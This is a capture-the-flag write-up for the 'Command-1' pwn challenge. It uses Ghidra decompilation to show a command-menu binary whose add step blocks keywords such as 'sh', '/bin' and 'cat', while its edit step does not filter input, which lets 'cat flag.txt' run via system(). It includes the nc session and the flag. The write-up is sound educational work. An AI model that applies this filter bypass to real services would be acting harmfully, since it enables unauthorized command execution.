command-1

by itsecgary / UMDCSEC

Tags: ghidra pwn

Rating: 1.0

Command-1

Category: Binary Exploitation

Points: 227

Description:

> **Given:** command_1

Writeup

To start, I went ahead and ran the function to see what we are dealing with.

```
$ ./command_1
Please enter your name: itsecgary
Hello itsecgary

------------------
1.) Add command.
2.) Run command.
3.) Edit command.
4.) Exit.
```

Looks like we have a menu with some options. After looking through some of the options and playing with the options in the menu, I opened it up in **Ghidra** to do a closer analysis of what is happening. Here are some functions we see:

main

```
void main(EVP_PKEY_CTX *param_1) {
  int iVar1;

  init(param_1);
  printf("Please enter your name: ");
  read(0,name,0x10);
  printf("Hello %s\n",name);
  do {
    while( true ) {
      while( true ) {
        menu();
        iVar1 = number();
        if (iVar1 != 2) break;
        runcommand();
      }
      if (2 < iVar1) break;
```

```
      if (iVar1 == 1) {
        addcommand();
      }
      else {
LAB_00400ec5:
        puts("I don\'t see where you are going.");
      }
    }
    if (iVar1 != 3) {
      if (iVar1 == 4) {
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      goto LAB_00400ec5;
    }
    editcommand();
  } while( true );
}
```

addcommand

```
void addcommand(void) {
  char *pcVar1;
  char *__dest;
  long in_FS_OFFSET;
  char *local_30;
  char local_1a [10];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Enter the command you want to add.");
  printf("> ");
  read(0,local_1a,10);
  pcVar1 = strstr(local_1a,"flag");
  if ((((pcVar1 != (char *)0x0) || (pcVar1 = strstr(local_1a,"/bin"), pcVar1 != (char *)0x0)) ||
      (pcVar1 = strstr(local_1a,"sh"), pcVar1 != (char *)0x0)) ||
     (((pcVar1 = strstr(local_1a,"echo"), pcVar1 != (char *)0x0 ||
       (pcVar1 = strstr(local_1a,"cat"), pcVar1 != (char *)0x0)) ||
      ((pcVar1 = strstr(local_1a,"shutdown"), pcVar1 != (char *)0x0 ||
       (pcVar1 = strstr(local_1a,"init 0"), pcVar1 != (char *)0x0)))))) {
    puts("I don\'t see where you are going you idiot");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  if ((int)ind < 3) {
    __dest = (char *)malloc(0x18);
    *(undefined8 *)(__dest + 0x10) = 0;
    strncpy(__dest,local_1a,4);
    pcVar1 = __dest;
    if (head != (char *)0x0) {
      local_30 = head;
      while (*(long *)(local_30 + 0x10) != 0) {
        local_30 = *(char **)(local_30 + 0x10);
      }
      *(char **)(local_30 + 0x10) = __dest;
      pcVar1 = head;
    }
    head = pcVar1;
    printf("Command added at index [%d]\n.",(ulong)ind);
    *(char **)(magic + (long)(int)ind * 8) = __dest;
    ind = ind + 1;
  }
```

```
  else {
    printf("No more space you idiot\n.");
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

editcommand

```
void editcommand(void) {
  int iVar1;
  ssize_t sVar2;
  long in_FS_OFFSET;
  int local_48;
  char *local_40;
  char local_38 [40];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_48 = 0;
  puts("Enter index you want to edit: ");
  iVar1 = number();
  if (((iVar1 < 0) || (2 < iVar1)) || (*(long *)(magic + (long)iVar1 * 8) == 0)) {
    puts("Oops don\'t hack me please.");
  }
  else {
    local_40 = head;
    while (local_48 != iVar1) {
      local_40 = *(char **)(local_40 + 0x10);
      local_48 = local_48 + 1;
    }
    printf("Enter new command -> ");
    sVar2 = read(0,local_38,0x18);
    if (sVar2 < 0) {
      puts("You must be unlucky.");
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    strcpy(local_40,local_38);
    puts("Command edited.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

runcommand

```
void runcommand(void) {
  int iVar1;
  int local_18;
  char *local_10;

  local_18 = 0;
  puts("So you want to run the command:");
  printf("Enter the index of the command: ");
```

```
  iVar1 = number();
  if (((iVar1 < 0) || (2 < iVar1)) || (*(long *)(magic + (long)iVar1 * 8) == 0)) {
    puts("What do you want to run you idiot.");
  }
  else {
    local_10 = head;
    while (local_18 != iVar1) {
      local_10 = *(char **)(local_10 + 0x10);
      local_18 = local_18 + 1;
    }
    system(local_10);
  }
  return;
}
```

My apologies for all of the code dumping here, but it is important to see that the **addcommand()** function checks the input and filters out specific commands that would be useful to show the flag. The **runcommand()** function simply just runs the function. The **editcommand()** function edits the command *WITHOUT* sanitizing.

This allows us to add a command, edit that command to whatever we want (probably 'cat flag.txt') and run that command.

```
$ nc us.pwn.zh3r0.ml 8520
Please enter your name: itsecgary
Hello itsecgary

-------------------
1.) Add command.
2.) Run command.
3.) Edit command.
4.) Exit.
> 1
Enter the command you want to add.
> poopoo
Command added at index [0]
.-------------------
1.) Add command.
2.) Run command.
3.) Edit command.
4.) Exit.
> 3
Enter index you want to edit:
0
Enter new command -> cat flag.txt
Command edited.
-------------------
1.) Add command.
2.) Run command.
3.) Edit command.
4.) Exit.
> 2
So you want to run the command:
Enter the index of the command: 0
zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}
```

Flag

zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}

Resources

Ghidra - https://ghidra-sre.org/

Original writeup (https://github.com/itsecgary/CTFs/tree/master/ZH3R0CTF%202020/Command-1).

Comments